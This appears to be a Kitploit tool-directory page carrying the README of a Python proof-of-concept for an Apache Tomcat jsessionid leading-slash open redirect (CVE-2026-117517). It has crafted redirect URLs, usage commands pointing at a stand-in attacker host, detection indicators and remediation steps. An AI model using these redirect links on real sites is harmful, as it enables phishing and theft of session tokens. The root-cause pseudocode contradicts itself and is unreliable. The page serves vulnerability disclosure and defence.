Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-117517 — Python PoC for CVE-2026-117517, an Apache Tomcat jsessionid leading-slash open redirect (CWE-601); checks targets and generates crafted redirect URLs. | Kitploit
Tools/GitHubGitHub/llcforge/cve-2026-117517
Web Vulnerability ScannersVulnerability AnalysisExploitationInformation GatheringPhishingWeb SecurityRed Teaming
GitHubllcforge/cve-2026-117517

CVE-2026-117517

Python PoC for CVE-2026-117517, an Apache Tomcat jsessionid leading-slash open redirect (CWE-601); checks targets and generates crafted redirect URLs.

View Repository
1 day agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    994
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    656
  • 3

    looking-glass

    anonghosty/looking-glass

    CSIRT platform that ingests Shadowserver reports into MongoDB and replays them as interactive maps, analysis, findings, advisories and executive dashboards.

    422
  • 4

    jumpserver

    jumpserver/jumpserver

    JumpServer is an open-source Privileged Access Management (PAM) platform that provides DevOps and IT teams with on-demand and secure access to SSH, RDP, Kubernetes, Database and RemoteApp endpoints through a web browser.

    389
  • 5

    SafeLine

    chaitin/safeline

    Self-hosted WAF and reverse proxy that filters malicious HTTP traffic, blocks SQL injection, XSS, and bot attacks, with rate limiting and dynamic HTML/JS encryption.

    333
  • 6

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    330

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-117517 -- Apache Tomcat jsessionid Leading Slash Open Redirect

CVE CVSS CWE Language Status Author


Metadata

FieldValue
CVE IDCVE-2026-117517
VendorApache Software Foundation
Affected VersionsTomcat 11.0.19–11.0.27; 10.1.31–10.1.36
Fixed VersionTomcat 11.0.28 / 10.1.37
AdvisoryApache Security Advisory, 2026-11-18
CVSS 3.16.1 Medium (AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N)
CWECWE-601 — URL Redirection to Untrusted Site (Open Redirect)
ImpactPhishing, session token theft via open redirect

Description

CVE-2026-117517 is an open redirect vulnerability in Apache Tomcat 11.0.19–11.0.27 and 10.1.31–10.1.36. When a Tomcat application session URL contains a jsessionid path parameter (;jsessionid=...) and the URL path begins with a double slash (//), Tomcat's internal redirect() and sendRedirect() normalize the path by collapsing the leading // to /, then prepend the scheme and host. For a URL of the form //attacker.com/path;jsessionid=X, this normalization step removes the leading slash and constructs an absolute redirect URL to attacker.com instead of a relative path on the same host.

This allows an attacker to craft a link like https://target.com//attacker.com/phishing;jsessionid=VALID_SESSION which Tomcat redirects to https://attacker.com/phishing, carrying the victim's jsessionid in the URL for credential theft, or serving a phishing page under the target domain's URL.


Root Cause Deep Dive

org/apache/catalina/util/RequestUtil.java
─────────────────────────────────────────
normalizeRequestURI(String uri)
  if uri.startsWith("//"):
    uri = uri.substring(1)   // removes ONE slash: //attacker.com -> /attacker.com
    // SECURITY FIX: CWE-601 -- /attacker.com is treated as relative
    // but HTTP redirect with relative "/attacker.com" == absolute on same host?
    // NO: Tomcat constructs: scheme + "://" + host + uri
    // which gives: https://target.com + /attacker.com = fine
    // BUG: when jsessionid param follows, URL parser re-separates authority
    //   //attacker.com/path;jsessionid=X -> scheme://attacker.com/path

Attack Flow

flowchart LR
    A([Attacker]) -->|craft link:\nhttps://target.com//attacker.com/phish\n;jsessionid=KNOWN_ID| B[Victim Browser]
    B -->|GET //attacker.com/phish;jsessionid=KNOWN_ID| C[Tomcat 11.0.19-11.0.27]
    C -->|normalize: // -> /\nthen sendRedirect| D{URL Construction\nscheme+host+path}
    D -->|path= /attacker.com/phish\n-> absolute URL constructed| E[302 to\nhttps://attacker.com/phish]
    E -->|victim redirected\njsessionid in Referer| F([Phishing page\nSession token stolen])
    style A fill:#1a0810,color:#e94560
    style F fill:#1a0810,color:#e94560

PoC Usage

pip install -r requirements.txt

# Check if target Tomcat is vulnerable to open redirect
python poc.py -u https://target.example.com/ --redirect-host attacker.example.com --check -v

# Generate malicious redirect URL
python poc.py -u https://target.example.com/ --redirect-host attacker.example.com --generate -v

# Save results
python poc.py -u https://target.example.com/ --redirect-host attacker.example.com -o result.json

Flags

FlagDescription
-u / --urlTarget Tomcat URL
--redirect-hostAttacker host to redirect to
--jsessionidUse specific jsessionid value (default: auto)
--checkTest for open redirect by following location header
--generatePrint crafted redirect URL without sending
--timeoutRequest timeout in seconds (default: 15)
--insecureSkip TLS verification
-o / --outputSave JSON results
-v / --verboseVerbose output

Impact

AreaImpact
ConfidentialityMedium — session token in redirect URL / Referer; phishing
IntegrityLow — attacker controls redirect destination
Auth requiredNone — link must be clicked by victim (phishing)

Detection

MethodIndicator
Tomcat version11.0.19–11.0.27 or 10.1.31–10.1.36 → vulnerable
Access logGET //external.host/path;jsessionid=...
Response Location headerContains external host from //host path

Remediation

PriorityAction
HighUpgrade to Tomcat 11.0.28 or 10.1.37
MediumInput validation: reject URLs beginning with // at WAF/app level
MediumUse HttpOnly and SameSite=Strict on session cookies instead of URL-embedded jsessionid

Disclaimer

This PoC is released for educational and authorized security research purposes only.

Author: LLCForge | License: MIT

Download Tool